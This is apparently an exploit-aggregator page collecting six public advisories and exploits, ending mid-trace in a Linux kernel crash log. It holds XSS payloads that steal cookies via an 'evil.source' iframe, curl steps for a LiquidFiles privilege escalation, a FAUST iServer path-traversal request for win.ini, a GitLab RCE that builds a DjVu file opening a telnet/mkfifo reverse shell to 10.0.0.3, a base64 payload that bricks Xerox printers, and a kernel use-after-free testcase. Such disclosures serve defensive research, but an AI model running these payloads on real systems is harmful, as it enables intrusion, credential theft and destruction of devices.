Latest exploits :: CodePwn

<pre><code>Document Title: =============== uBidAuction v2.0.1 - Multiple XSS Web Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2289 Release Date: ============= 2022-01-21 Vulnerability Laboratory ID (VL-ID): ==================================== 2289 Common Vulnerability Scoring System: ==================================== 5.4 Vulnerability Class: ==================== Cross Site Scripting - Non Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== uBidAuction is a powerful, scalable & fully-featured classic and bid auction software that lets create the ultimate profitable online auctions website. It allows to manage entire online auction operation: create new auctions within seconds, view members auctions and use the auction extension settings tool. (Copy of the Homepage:https://www.apphp.com/codemarket/items/48/ubidauction-php-classic-and-bid-auctions-script ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple non-persistent cross site web vulnerabilities in the uBidAuction v2.0.1 script web-application. Affected Product(s): ==================== ApPHP Product: uBidAuction v2.0.1 - Auction Script (PHP) (Web-Application) Product: ApPHP MVC Framework v1.2.2 (Framework) Vulnerability Disclosure Timeline: ================================== 2022-09-01: Researcher Notification & Coordination (Security Researcher) 2022-09-02: Vendor Notification (Security Department) 2022-09-07: Vendor Response/Feedback (Security Department) 2022-**-**: Vendor Fix/Patch (Service Developer Team) 2022-**-**: Security Acknowledgements (Security Department) 2022-01-21: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Pre Auth (No Privileges or Session) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ Multiple non-persistent cross site web vulnerabilities has been discovered in the official uBidAuction v2.0.1 script web-application. The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser to web-application requests from the client-side. The cross site web vulnerabilities are located in the `date_created`, `date_from`, `date_to` and `created_at` parameters of the `filter` web module. The injection point is located in the parameters and the execution occurs in the filter module. The request method to inject the malicious script code is GET and the attack vector of the vulnerability is non-persistent on client-side. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious source and non-persistent manipulation of affected application modules. Request Method(s): [+] GET Vulnerable Module(s): [+] ./orders/myOrders [+] ./auctions/myAuctions/status/active [+] ./auctions/myAuctions/status/loose [+] ./posts/manage [+] ./news/manage [+] ./tickets/manage [+] ./auctions/manage [+] ./backend/mailingLog/manage Vulnerable Parameter(s): [+] date_created [+] date_from [+] date_to [+] created_at Affected Module(s): [+] Filter Proof of Concept (PoC): ======================= The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without account and with low user interaction. For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue. Exploitation: Payload "><iframe+src%3Devil.source+onload</iframe> Exploitation: PoC (Role: Member) https://bid-auction.localhost:8080/orders/myOrders?order_number=1&created_at=%22%3E%3Ciframe+src%3Devil.source+onload%3Dalert%28document.cookie%29%3E&status=0&but_filter=Filter https://bid-auction.localhost:8080/auctions/myAuctions/status/active?auction_number=test1&name=test2&date_from="><iframe+src%3Devil.source+onload&date_to="><iframe+src%3Devil.source https://bid-auction.localhost:8080/auctions/myAuctions/status/active?auction_number=1&name=a&date_from=%22%3E%3Ciframe+src%3Devil.source+onload&date_to=b&auction_type_id=&category_id=&status=&but_filter=Filter https://bid-auction.localhost:8080/auctions/myAuctions/status/active?auction_number=1&name=a&date_from=a&date_to=%22%3E%3Ciframe+src%3Devil.source+onload&auction_type_id=&category_id=&status=&but_filter=Filter https://bid-auction.localhost:8080/auctions/myAuctions/status/loose?auction_number=1&name=a&date_from=a&date_to=%22%3E%3Ciframe+src%3Devil.source+onload&auction_type_id=&category_id=&status=&but_filter=Filter https://bid-auction.localhost:8080/auctions/myAuctions/status/loose?auction_number=1&name=a&date_from=%22%3E%3Ciframe+src%3Devil.source+onload&date_to=b&auction_type_id=&category_id=&status=&but_filter=Filter Exploitation: PoC (Role: Admin) https://bid-auction.localhost:8080/posts/manage?post_header=1&created_at=%22%3E%3Ciframe+src%3Devil.source+onload%3Dalert%28document.cookie%29%3E&but_filter=Filter https://bid-auction.localhost:8080/news/manage?news_header=1&created_at=%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E&but_filter=Filter https://bid-auction.localhost:8080/tickets/manage?topic=a&message=a&first_name%2Clast_name=a&departments=0&status=1&date_created=%22%3E%3Ciframe+src%3Devil.source+onload%3Dalert%28document.cookie%29%3E&but_filter=Filter https://bid-auction.localhost:8080/tickets/manage/status/opened?topic=a&message=a&first_name%2Clast_name=a&departments=0&status=0&date_created=%22%3E%3Ciframe+src%3Devil.source+onload%3Dalert%28document.cookie%29%3E&but_filter=Filter https://bid-auction.localhost:8080/auctions/manage?auction_number=1&name=a&date_from=%22%3E%3Ciframe+src%3Devil.source+onload&date_to=%22%3E%3Ciframe+src%3Devil.source+onload&auction_type_id=1&category_id=4&status=0&but_filter=Filter https://bid-auction.localhost:8080/backend/mailingLog/manage?email_subject=a&email_content=b&email_from=c&email_to=d&sent_at=%22%3E%3Ciframe+src%3Devil.source+onload&status=&but_filter=Filter Vulnerable Source: ./mailingLog <div class="content"> <a href="posts/add" class="add-new">Add Post</a><div class="filtering-wrapper"> <form id="frmFilterPosts" action="posts/manage" method="get"> Post Header: <input id="post_header" style="width:100px;" maxlength="255" type="text" value="avd" name="post_header"> Date Created: <input id="created_at" maxlength="255" style="width:80px;" type="text" value=""><iframe src="evil.source" onload="alert(document.cookie)">" name="created_at" /><div class="buttons-wrapper"> <input name="" class="button white" onclick="jQuery(location).attr('href','https://bid-auction.localhost:8080/posts/manage');" type="button" value="Cancel" /> <input name="but_filter" type="submit" value="Filter" /> </div></form></div> --- PoC Session Logs (GET) --- https://bid-auction.localhost:8080/auctions/myAuctions/status/active?auction_number=test1&name=test2&date_from="><iframe+src%3Devil.source+onload&date_to="><iframe+src%3Devil.source+onload&auction_type_id=1&category_id=1&status=&but_filter=Filter Host:www.bid-auction-script.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive Referer:https://bid-auction.localhost:8080/auctions/myAuctions Cookie: apphp_2j9tuqddrg=v1as9gj4qqhakbpgthnrs34np7 - GET: HTTP/1.1 200 OK Server: Apache Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4542 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Reference(s): https://bid-auction.localhost:8080/posts/manage https://bid-auction.localhost:8080/orders/myOrders https://bid-auction.localhost:8080/backend/mailingLog/manage https://bid-auction.localhost:8080/auctions/myAuctions/status/loose https://bid-auction.localhost:8080/auctions/myAuctions/status/active Solution - Fix & Patch: ======================= The vulnerability can be resolved by a filter or secure encode of the vulnerable date_created, date_from, date_to and created_at parameters. Disallow the usage of special chars in the affected parameters on get method requests. Sansitize the vulnerable output location to resolve the point of execution in the filter module. Credits & Authors: ================== Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains:www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2022 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY (VULNERABILITY LAB) RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE </code></pre>

<pre><code>=============================================================================== title: LiquidFiles Privilege Escalation product: LiquidFiles v3.5.13 vulnerability type: Privilege Escalation severity: Medium CVSSv3 score: 6.7 CVSSv3 vector: AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L found: 2021-10-29 by: Riccardo Spampinato, Eliana Cannella, Valerio Casalino =============================================================================== [EXECUTIVE SUMMARY] LiquidFiles is a secure file transfer system for person-to-person email communication. During an engagement for our customer we discovered a Privilege Escalation from "User Admin" user to "System Administrator" user. Using LiquidFiles API, a "User Admin" user can list all the application registered users, retrieving information such as their API keys, including those of the System Administrators. As per LiquidFiles documentation, API key is used as HTTP basic authentication in order to authenticate to the LiquidFiles system. A malicious "User Admin" user, by using a 'System Administrator's API key, can obtain the role of System Administrator and can administer all aspects of the LiquidFiles system. The impact of a successful attack includes: obtaining access to all aspects of the LiquidFiles system of the application via the System Administrator API key. [VULNERABLE VERSIONS] The following version of LiquidFiles system is affected by the vulnerability; previous versions may be vulnerable as well: - LiquidFiles v3.5.13 [TECHNICAL DETAILS] It is possible to reproduce the issue following these steps: 1. Get the API key of your own user-admins user; 2. With your own user-admins user's API key, get a sysadmins' API key via /admin/users API; 3. With sysadmins' API key retrieved at the step below, issue /admin/users/<user-admins_user_id> API modifying the group of your user-admins user from "user-admins" to "sysadmins"; 4. You are now a sysadmins user. You can verify it by either login again with your own user via web GUI (you are now prompted to set a fallback password to use in case LDAP authentication fails) or by issuing /admin/users/<user-admins_user_id> API to view your own user. Below a full transcript of the HTTP requests and responses used to raise the vulnerability: 1. Get the API key of your own user-admins user cURL Request: curl -X POST -H "Accept: application/json" -H "Content-Type: application/json" -d '{"user":{"email":"[user-admins_user_mail]","password":"[CENSORED]"}}' https://[CENSORED]/login Response: {"user":{"api_key":"[user-admins_user_API_key]"}} 2. Get a sysadmins' API key cURL Request: curl -s -X GET --user "[user-admins_user_API_key]:x" -H "Accept: application/json" -H "Content-Type: application/json" https:// [CENSORED]/admin/users Response: [TRUNCATED] {"user": { "id": "[CENSORED]", "email": "[CENSORED]", "name": "[CENSORED]", "group": "sysadmins", "max_file_size": 0, "filedrop": "disabled", "filedrop_email": "disabled", "api_key": "[sysadmins_user_API_key]", "ldap_authentication": "false", "locale": "", "time_zone": "", "strong_auth_type": "", "strong_auth_username": "", "delivery_action": "", "phone_number": "", "last_login_at": "2021-10-29 10:02:11 UTC", "last_login_ip": "[CENSORED]", "created_at": "2020-06-30 10:49:38 UTC" } }, [TRUNCATED] 3. Modify the group of your own user-admins user from "user-admins" to "sysadmins" cURL Request: cat <<EOF | curl -s -X PUT --user "[sysadmins_user_API_key]:x" -H "Accept: application/json" -H "Content-Type: application/json" -d @- https:// [CENSORED]/admin/users/<user-admins_user_id> {"user": { "name": "[user-admins_user_name]", "group": "sysadmins" } } EOF Response {"user": { "id": "[CENSORED]", "email": "[CENSORED]", "name": "[CENSORED]", "group": "sysadmins", "max_file_size": 0, "filedrop": "disabled", "filedrop_email": "disabled", "api_key": "[CENSORED]", "ldap_authentication": "true", "locale": "", "time_zone": "", "strong_auth_type": "", "strong_auth_username": "", "delivery_action": "", "phone_number": "", "last_login_at": "2021-11-03 13:31:58 UTC", "last_login_ip": "[CENSORED]", "created_at": "2021-03-03 11:48:37 UTC" } } 4. Verify that your own user-admins user is now a sysadmins one. cURL Request curl -X GET -H "Accept: application/json" -H "Content-Type: application/json" --user [user-admins_user_API_key]:x https:// [CENSORED]/admin/users/<user-admins_user_id> Response {"user": { "id": "[CENSORED]", "email": "[CENSORED]", "name": "[CENSORED]", "group": "sysadmins", "max_file_size": 0, "filedrop": "disabled", "filedrop_email": "disabled", "api_key": "[CENSORED]", "ldap_authentication": "true", "locale": "", "time_zone": "", "strong_auth_type": "", "strong_auth_username": "", "delivery_action": "", "phone_number": "", "last_login_at": "2021-11-03 13:34:36 UTC", "last_login_ip": "[CENSORED]", "created_at": "2021-03-03 11:48:37 UTC" } } [VULNERABILITY REFERENCE] The following CVE ID was allocated to track the vulnerabilities: CVE-2021-43397 [DISCLOSURE TIMELINE] 2021-11-02 Vulnerability submitted to vendor through vendor support portal. Vendor requested more info and acknowledged the problem later. 2021-11-04 Researcher requested to allocate a CVE number. Vendor released a fix for the reported issue. 2021-11-09 Researcher requested to publicly disclose the issue; public coordinated disclosure. [MITIGATION] As per vendor suggestion, the vulnerability could be mitigated in versions prior to 3.6.3 by disabling API in Admins groups. [SOLUTION] Version 3.6.3 (released 2021-11-09) https://man.liquidfiles.com/release_notes/version_3-6-x.html [NOTE] Please note that the issue described in this advisory can be also raised via Web GUI LiquidFiles Admin panel. [CONTACT DETAILS] Riccardo Spampinato riccardo.spampinato@mail-bip.com +39 348 725 8746 Eliana Cannella eliana.cannella@mail-bip.com +39 345 762 2019 Valerio Casalino valerio.casalino@mail-bip.com +39 348 824 9794 </code></pre>

<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20220120-0 > ======================================================================= title: Local file inclusion vulnerability product: Land Software - FAUST iServer vulnerable version: 9.0.017.017.1-3 - 9.0.018.018.4 fixed version: 9.0.019.019.7, Version 10 CVE number: CVE-2021-34805 impact: high homepage: https://www.land-software.de found: 2021-05-25 by: Mario Keck (Atos Germany) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- (German) "Der FAUST iServer bringt Ihre FAUST- , FAUST Entry- und LIDOS-Datenbanken ins Intranet und Internet. Er bietet hohe Sicherheit und eine einfache Installation." Source: http://www.land-software.de/lfs.fau?prj=iweb&dn=faust+iserver Business recommendation: ------------------------ The vendor provides a hotfix for the identified vulnerable versions. As the most actual version v10 of FAUST iServer is not vulnerable, no immediate action in the form of a patch is required. The webroot of the server should not be on the same partition as the operating system's root partition. Vulnerability overview/description: ----------------------------------- 1) Local File Inclusion (CVE-2021-34805) When a URL is requested, the FAUST iServer checks for the corresponding ".fau" file on the operating system. ".fau" files can be compared with compiled webserver pages for displaying the content of the webpage. The identified vulnerable versions of FAUST iServer do not properly protect against a request aiming to read local files of the operating system. FAUST iServer is designed to work on Windows operating systems only. Therefore, by simply URL-encoding a path like ..\..\..\windows\win.ini into %2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini the FAUST iServer returns the contents of win.ini Proof of concept: ----------------- 1) Local File Inclusion (CVE-2021-34805) The following proof of concept shows the HTTP request that was used to read local files of the server's operating system. The vulnerability, as shown in the proof of concept request below, can be triggered as soon as a vulnerable version of FAUST iServer is in use. To read operating system specific files, the webroot of FAUST iServer has to be located on the same partition as the operating system root. Authorization is not needed. ------------------------------------------------------------------------------- HTTP Request: GET /%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Connection: keep-alive Host: <IP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Language: en-US,en;q=0.9 ------------------------------------------------------------------------------- Vulnerable / tested versions: ----------------------------- The following versions have been tested and found to be vulnerable: * 9.0.017.017.1-3 * 9.0.018.018.4 Vendor contact timeline: ------------------------ 2021-06-10: Contacting vendor via email. 2021-06-14: Vendor requested more information about the vulnerability, which was provided on the same day. 2021-06-15: Requested information from vendor to check which versions are vulnerable. 2021-06-17: Vendor informed researcher about upcoming update and promised to inform all customers about the critical security fix in it. 2021-08-09: Confirmed the security fix in FAUST iServer 9.0.019.019.7. 2021-08-16: Researcher received a notification mail from the vendor's newsletter announcing the official release of the fixed version. 2022-01-12: Version 10 was officially released and is available for all customers for upgrade. 2022-01-20: Release of security advisory Solution: --------- The vulnerability is fixed in the following version: * 9.0.019.019.7 This patch should be immediately installed. Version 10 is not affected by this vulnerability, if possible it is recommended to upgrade to this version. Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Mario Keck / @2022 </code></pre>

<pre><code># Exploit Title: GitLab 13.10.2 - Remote Code Execution (RCE) (Unauthenticated) # Shodan Dork: https://www.shodan.io/search?query=title%3A%22GitLab%22+%2B%22Server%3A+nginx%22 # Date: 11/01/2021 # Exploit Author: Jacob Baines # Vendor Homepage: https://about.gitlab.com/ # Software Link: https://gitlab.com/gitlab-org/gitlab # Version: GitLab Community Edition and Enterprise Edition before 13.10.3, 13.9.6, and 13.8.8 # Tested on: GitLab Community Edition 13.10.2 and 13.10.1 (Ubuntu) # CVE : CVE-2021-22205 # Vendor Advisory: https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/ # Root Cause Analysis: https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis?referrer=activityFeed Code execution is the result of GitLab allowing remote unauthenticated attackers to provide DjVu files to ExifTool (see: CVE-2021-22204). As such, exploitation of GitLab takes two steps. First generating the payload and then sending it. 1. Generating the payload. This generates a DjVu image named lol.jpg that will trigger a reverse shell to 10.0.0.3 port 1270. echo -e "QVQmVEZPUk0AAAOvREpWTURJUk0AAAAugQACAAAARgAAAKz//96/mSAhyJFO6wwHH9LaiOhr5kQPLHEC7knTbpW9osMiP0ZPUk0AAABeREpWVUlORk8AAAAKAAgACBgAZAAWAElOQ0wAAAAPc2hhcmVkX2Fubm8uaWZmAEJHNDQAAAARAEoBAgAIAAiK5uGxN9l/KokAQkc0NAAAAAQBD/mfQkc0NAAAAAICCkZPUk0AAAMHREpWSUFOVGEAAAFQKG1ldGFkYXRhCgkoQ29weXJpZ2h0ICJcCiIgLiBxeHs=" | base64 -d > lol.jpg echo -n 'TF=$(mktemp -u);mkfifo $TF && telnet 10.0.0.3 1270 0<$TF | sh 1>$TF' >> lol.jpg echo -n "fSAuIFwKIiBiICIpICkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCg==" | base64 -d >> lol.jpg 2. Sending the payload. Any random endpoint will do. curl -v -F 'file=@lol.jpg' http://10.0.0.7/$(openssl rand -hex 8) 2a. Sample Output from the reverse shell: $ nc -lnvp 1270 Listening on [0.0.0.0] (family 0, port 1270) Connection from [10.0.0.7] port 1270 [tcp/*] accepted (family 2, sport 34836) whoami git id uid=998(git) gid=998(git) groups=998(git) </code></pre>

<pre><code>[+] Credits: Mahmoud Al-Qudsi [+] Website: https://neosmart.net/ [+] Source: https://neosmart.net/blog/?p=4865 [+] Media: https://twitter.com/mqudsi and https://twitter.com/neosmart [Vendor] Xerox Corporation [Product] Xerox Versalink printers, other Xerox printers/copiers. [Vulnerability Type] Remote denial-of-service leading to bricked device. [Security Issue] A specifically crafted TIFF payload may be submitted to the printer's job queue (in person or over the network) by unauthenticated/unprivileged users or network or internet attackers by means of a JavaScript payload. The device will panic upon attempting to read the submitted file and a physical reboot will be required. Upon reboot, the device will attempt to resume the last-printed job, triggering the panic once more. The process repeats ad-infinitum. [Exploit/PoC] Extract the TIFF contents of the base64-encode archive below and submit directly to the job queue on a vulnerable printer to trigger the exploit: UmFyIRoHAQAzkrXlCgEFBgAFAQGAgAD5BbdHEwMC5QAE5QAA9kPUNIAAAANDTVRYZXJveCByZW1v dGUgYnJpY2sgcGF5bG9hZCBieSBNYWhtb3VkIEFsLVF1ZHNpDQpTZWUgaHR0cHM6Ly9uZW9zbWFy dC5uZXQvYmxvZy8/cD00ODY1IGZvciBtb3JlIGluZm8uAOsG2ysrAgMLjQEEvAMgCd+uuYADAA94 ZXJveCBicmljay50aWYKAwIA/Fsg4nPVAcISiiBENSb2YDSTz9+g+ofkEQVoaUFeJvK3kDY8WbGp HgjY0bFPe8gzgjwjaJNmzSGzlGGm0ZRkySYEISicQttsKElCEti8EbSsdkcDz6/WmRz/N1o/EIEf YPQUn+fPO4RLXjWeRbJT8isQTI5AnW6pF0WsD5DaxM4tgNHp3U7xR1fsHuvMYwMeDGyHIB13VlED BQQA [Network Access] Local or remote The sample payload may also be submitted to exploit a Xerox printer with a known ip address or host name over the web by taking advantage of the unprotected HTTP POST interface exposed by the device on its network interface. [Severity] Critical The denial-of-service attack results in a semi-permanent "bricking" of the Xerox printer. Recovery may be possible if there are unapplied firmware updates by forcing an update over the network, which clears the job queue in the process. Otherwise, manually clearing the non-volatile storage memory on the device's mainboard is required to break out of the loop. [Disclosure Timeline] - September 26, 2019: Reported to Xerox - January 14, 2020: Confirmed by Xerox in response to a request for updates - January 25, 2022: Publicly disclosed, remains unpatched and exploitable Mahmoud </code></pre>

<pre><code>Linux: UAF read: SO_PEERCRED and SO_PEERGROUPS race with listen() (and connect()) # bug description In sock_getsockopt() (in net/core/sock.c), the handlers for the socket options SO_PEERCRED (has probably had a data race since forever that got turned into a UAF read in v2.6.36, commit \"af_unix: Allow SO_PEERCRED to work across namespaces\") and SO_PEERGROUPS (introduced in v4.13, commit \"net: introduce SO_PEERGROUPS getsockopt\") don't use any locking when copying data from sk->sk_peer_cred to userspace. This can race with operations that update sk->sk_peer_cred: - unix_stream_connect() (via copy_peercred(), on CLOSE->ESTABLISHED) - unix_listen() (via init_peercred(), on CLOSE->LISTEN or LISTEN->LISTEN) This means that if the creds are replaced and freed at the wrong time, a use-after-free read occurs. From what I can tell, the impact on the kernel is limited to data leakage. Theoretically, it could also lead to an out-of-bounds *write* to *userspace* memory if a victim process calls SO_PEERGROUPS on a socket whose ->sk_peer_cred is going away; however, in a normal scenario, SO_PEERGROUPS would only be called on a socket from accept(), and a less-privileged attacker wouldn't be able to switch out the ->sk_peer_cred on that socket. # simple testcase In a Linux VM with CONFIG_KASAN=y and CONFIG_RCU_STRICT_GRACE_PERIOD=y, this issue can be demonstrated with the following testcase. Note that this testcase is using SO_PEERCRED in a weird way: It reads the \"peer credentials\" of a listening socket, which doesn't really make any semantic sense. As far as I can tell from reading the code, you could also trigger the same UAF by racing SO_PEERCRED with repeated calls to connect() and shutdown(<fd>, SHUT_RDWR) instead of listen(), but then the race would get more complicated. ``` // compile with \"gcc -pthread -o peercred_uaf peercred_uaf.c -Wall\" #define _GNU_SOURCE #include <pthread.h> #include <sys/fsuid.h> #include <sys/socket.h> #include <sys/un.h> #include <err.h> #include <unistd.h> #include <stdio.h> #include <sys/syscall.h> static int s; static uid_t my_uid; static gid_t my_gid; void *ucred_thread(void *dummy) { while (1) { struct ucred ucred; socklen_t optlen = sizeof(ucred); if (getsockopt(s, SOL_SOCKET, SO_PEERCRED, &ucred, &optlen)) perror(\"getsockopt\"); } } int main(void) { my_uid = getuid(); my_gid = getgid(); s = socket(AF_UNIX, SOCK_STREAM, 0); if (s == -1) err(1, \"socket\"); struct sockaddr_un bind_addr = { .sun_family = AF_UNIX, .sun_path = \"/tmp/unix-test-socket\" }; unlink(bind_addr.sun_path); if (bind(s, (struct sockaddr *)&bind_addr, sizeof(bind_addr))) err(1, \"bind\"); pthread_t thread; if (pthread_create(&thread, NULL, ucred_thread, NULL)) errx(1, \"pthread_create\"); while (1) { if (listen(s, 16)) perror(\"listen\"); // avoid glibc's automatic thread sync in set*id() wrappers! // note that setfsuid() doesn't reallocate on no-op request. if (syscall(__NR_setresuid, my_uid, my_uid, my_uid)) err(1, \"setresuid(raw)\"); } } ``` This results in the following splat: ``` BUG: KASAN: use-after-free in sock_getsockopt (net/core/sock.c:1388 net/core/sock.c:1555) Read of size 4 at addr ffff8880355c7c64 by task peercred_uaf/619 CPU: 2 PID: 619 Comm: peercred_uaf Not tainted 5.15.0-rc2-00008-g4c17ca27923c #849 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-2 04/01/2014 Call Trace: dump_stack_lvl (lib/dump_stack.c:107 (discriminator 1)) print_address_description.constprop.0 (mm/kasan/report.c:257) [...] kasan_report.cold (mm/kasan/report.c:443 mm/kasan/report.c:459) [...] sock_getsockopt (net/core/sock.c:1388 net/core/sock.c:1555) [...] __sys_getsockopt (net/socket.c:2216) [...] __x64_sys_getsockopt (net/socket.c:2232) [...] do_syscall_64 (arch/x86/entry/common.c:50 arch/x86/entry/common.c:80) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:113) RIP: 0033:0x7f93cd99a5ca Code: 48 8b 0d c9 08 0c 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 49 89 ca b8 37 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 96 08 0c 00 f7 d8 64 89 01 48 All code ======== 0: 48 8b 0d c9 08 0c 00 mov 0xc08c9(%rip),%rcx # 0xc08d0 7: f7 d8 neg %eax 9: 64 89 01 mov %eax,%fs:(%rcx) c: 48 83 c8 ff or $0xffffffffffffffff,%rax 10: c3 ret 11: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) 18: 00 00 00 1b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) 20: 49 89 ca mov %rcx,%r10 23: b8 37 00 00 00 mov $0x37,%eax 28: 0f 05 syscall 2a:* 48 3d 01 f0 ff ff cmp $0xfffffffffffff001,%rax <-- trapping instruction 30: 73 01 jae 0x33 32: c3 ret 33: 48 8b 0d 96 08 0c 00 mov 0xc0896(%rip),%rcx # 0xc08d0 3a: f7 d8 neg %eax 3c: 64 89 01 mov %eax,%fs:(%rcx) 3f: 48 rex.W Code starting with the faulting instruction =========================================== 0: 48 3d 01 f0 ff ff cmp $0xfffffffffffff001,%rax 6: 73 01 jae 0x9 8: c3 ret 9: 48 8b 0d 96 08 0c 00 mov 0xc0896(%rip),%rcx # 0xc08a6 10: f7 d8 neg %eax 12: 64 89 01 mov %eax,%fs:(%rcx) 15: 48 rex.W RSP: 002b:00007f93cd89bec8 EFLAGS: 00000246 ORIG_RAX: 0000000000000037 RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f93cd99a5ca RDX: 0000000000000011 RSI: 0000000000000001 RDI: 0000000000000003 RBP: 00007f93cd89bef0 R08: 00007f93cd89bee0 R09: 00007f93cd89c700 R10: 00007f93cd89bee4 R11: 0000000000000246 R12: 00007ffff07f1cee R13: 00007ffff07f1cef R14: 00007f93cd89c700 R15: 0000000000000000 Allocated by task 618: kasan_save_stack (mm/kasan/common.c:38) __kasan_slab_alloc (mm/kasan/common.c:46 mm/kasan/common.c:434 mm/kasan/common.c:467) kmem_cache_alloc (./include/linux/kasan.h:254 mm/slab.h:519 mm/slub.c:3206 mm/slub.c:3214 mm/slub.c:3219) prepare_creds (kernel/cred.c:262) __sys_setresuid (kernel/sys.c:666) do_syscall_64 (arch/x86/entry/common.c:50 arch/x86/entry/common.c:80) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:113) Freed by task 618: kasan_save_stack (mm/kasan/common.c:38) kasan_set_track (mm/kasan/common.c:46) kasan_set_free_info (mm/kasan/generic.c:362) __kasan_slab_free (mm/kasan/common.c:368 mm/kasan/common.c:328 mm/kasan/common.c:374) kmem_cache_free (mm/slub.c:1725 mm/slub.c:3483 mm/slub.c:3499) rcu_core (kernel/rcu/tree.c:2515 kernel/rcu/tree.c:2743) __do_softirq (./include/linux/instrumented.h:71 